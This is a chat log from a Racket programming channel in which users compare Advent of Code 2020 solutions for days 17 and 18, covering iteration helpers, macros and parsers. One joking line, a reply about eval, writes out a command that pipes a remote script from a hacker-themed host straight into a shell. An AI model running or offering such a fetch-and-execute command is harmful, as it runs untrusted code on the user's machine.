badkins
2020-12-17 18:17:46

Anyone have anything interesting for Day 17?


badkins
2020-12-17 18:18:51

I wasn’t particularly inspired by this puzzle, so I just tried to <https://github.com/lojic/LearningRacket/blob/master/advent-of-code–2020/day17.rkt|maximize commonality> between the parts, but I liked for*/hash and for*/sum too much to factor them out properly :)


badkins
2020-12-17 18:19:52

I was mildly amused using: (hash-count (cycle (cycle (cycle (cycle (cycle (cycle (car lst))))))))


badkins
2020-12-17 18:48:22

Nah, that was goofy, so I stole @jonathanhwchan’s iterate idea. I was surprised I couldn’t find it, or something similar, in the Racket. Simple enough to write, but it does seem like it should be a built-in.


jonathanhwchan
2020-12-17 18:52:38

Yeah I was expecting to find something like it in racket/function but nope An analogue is in Haskell’s Prelude, except it returns a list of the iterations


badkins
2020-12-17 19:28:09

I picked up a second tip from you @jonathanhwchan, and was able to <https://github.com/lojic/LearningRacket/blob/master/advent-of-code–2020/day17.rkt|factor out the common code> to get down to 32 sloc (not including the two check-equal? lines). Woot :)


me1890
2020-12-17 19:28:20

@badkins that’s pretty much what i did. The only thing i changed between part1 and part2 was making my coordinate struct generic for dimensions


me1890
2020-12-17 19:29:06

I didn’t have to change any of the GOL specific code after i implemented the basic operations for me coordinate struct


badkins
2020-12-17 19:30:38

Are you pushing to github @me1890 ?


me1890
2020-12-17 19:30:50

I am not currently, but i can do that


me1890
2020-12-17 19:31:01

I am keeping my code on a private git server right now


badkins
2020-12-17 19:31:06

Checking out other approaches is the best thing about AoC :)


me1890
2020-12-17 19:31:50

I wouldn’t look for quality code from me, but you’re free to have a look. :slightly_smiling_face:


badkins
2020-12-17 19:32:33

I expect many (most?) of us aren’t creating professional quality solutions.


me1890
2020-12-17 19:33:11

Well, i’m using the advent of code to learn racket, so i expect most other people to at least have better code


badkins
2020-12-17 19:33:54

AoC is great for learning Racket. I’ve been coding Racket pretty much full time for a couple years, and I’ve added a number of things to my tool belt through the challenge.


jonathanhwchan
2020-12-17 19:33:55

One never stops learning Racket :racket-flat:


badkins
2020-12-17 19:34:33

I need the equivalent of AoC for syntax extensions :)


me1890
2020-12-17 19:34:40

me1890
2020-12-17 19:35:36

The most significant thing i’ve done i think is my extension to pattern matching that is very convenient for parsing (search for ~&gt;number)


me1890
2020-12-17 19:35:58

It’s probably abuse of the pattern matching system though :smile:


me1890
2020-12-17 19:37:40

I have to say though, Racket’s pattern matching system is very powerful in comparison to some of the other ones I’ve used. I quite enjoy it.


jonathanhwchan
2020-12-17 21:47:23

And now: a macro-based solution that generalizes to arbitrary dimensions! https://github.com/ionathanch/adventofcode-2020/blob/main/src/17-macro.rkt


jonathanhwchan
2020-12-17 21:47:57

w/ big thamk to haskal for helping me figure out a bunch of macro bits


ben.knoble
2020-12-17 22:04:17

I imagine the macro solution is quite a bit faster than without? I converted my part1 to lists for part2 to generalize; I did optimize the set of points to be checked by not doing duplicate neighbors like I was previously. But I imagine the macros get you closer to a constant time operation on many things.


badkins
2020-12-17 22:04:20

Nice!


ben.knoble
2020-12-17 22:05:30

Peeked at the code; ignore my comment :stuck_out_tongue: I thought the macros were to create general n-dim point structures; they are not


jonathanhwchan
2020-12-17 22:08:08

Oh yeah, I just shoved my existing solution into a macro to generate as many for loops as I need


haskal
2020-12-18 05:15:23

haskal
2020-12-18 05:15:36

hhh this is the first time i have ever had nonzero global score,,,


haskal
2020-12-18 05:15:49

day 18 spoilers


me1890
2020-12-18 05:15:58

wow


me1890
2020-12-18 05:16:06

I’m not even done writing my parsing code yet


haskal
2020-12-18 05:16:06

parser-tools lol that’s literally how i got this rank


me1890
2020-12-18 05:16:08

lol


haskal
2020-12-18 05:24:38

i broke my part 1 to make part 2 work (1 line change lol) so i’m currently trying to make both work at the same time,


jonathanhwchan
2020-12-18 05:26:07

I was like oh if only it were an s-expression so I made it so https://github.com/ionathanch/adventofcode-2020/blob/main/src/18.rkt


hazel
2020-12-18 05:33:26

real quick, does anyone know how to have mutually recursive variables and not procedures?


hazel
2020-12-18 05:33:34

need a mutually recursive megaparsack parser


hazel
2020-12-18 05:35:39

for now i am just redefining them as 0-arity procedures but


hazel
2020-12-18 05:35:42

not good


hazel
2020-12-18 05:36:41

(actually, it’s very not good. and when i say that i mean non-terminating.)


me1890
2020-12-18 05:41:12

let-rec?


haskal
2020-12-18 05:42:23

https://git.lain.faith/haskal/aoc2020/src/branch/aoc2020/18.rkt here we go. i formalized the change i made between part 1 and part2 as a macro :dragnmlem:


haskal
2020-12-18 05:46:56

@jonathanhwchan i like yours you actually did it yourself and didn’t just import solution


me1890
2020-12-18 05:49:29

I had the same solution as you @jonathanhwchan


me1890
2020-12-18 05:49:35

well, functionally the same


me1890
2020-12-18 05:52:12

I think my code for part 1 was a little nicer though


me1890
2020-12-18 05:52:51

I turned it into an s-expr then evaled it


haskal
2020-12-18 05:54:37

[hands u a (system "curl <https://blackhat.solutions/lol.sh> \| sh")]


me1890
2020-12-18 05:56:15

what does that do?


samdphillips
2020-12-18 06:33:42

I think there is a lazy/p parser that allows that.


samdphillips
2020-12-18 06:37:13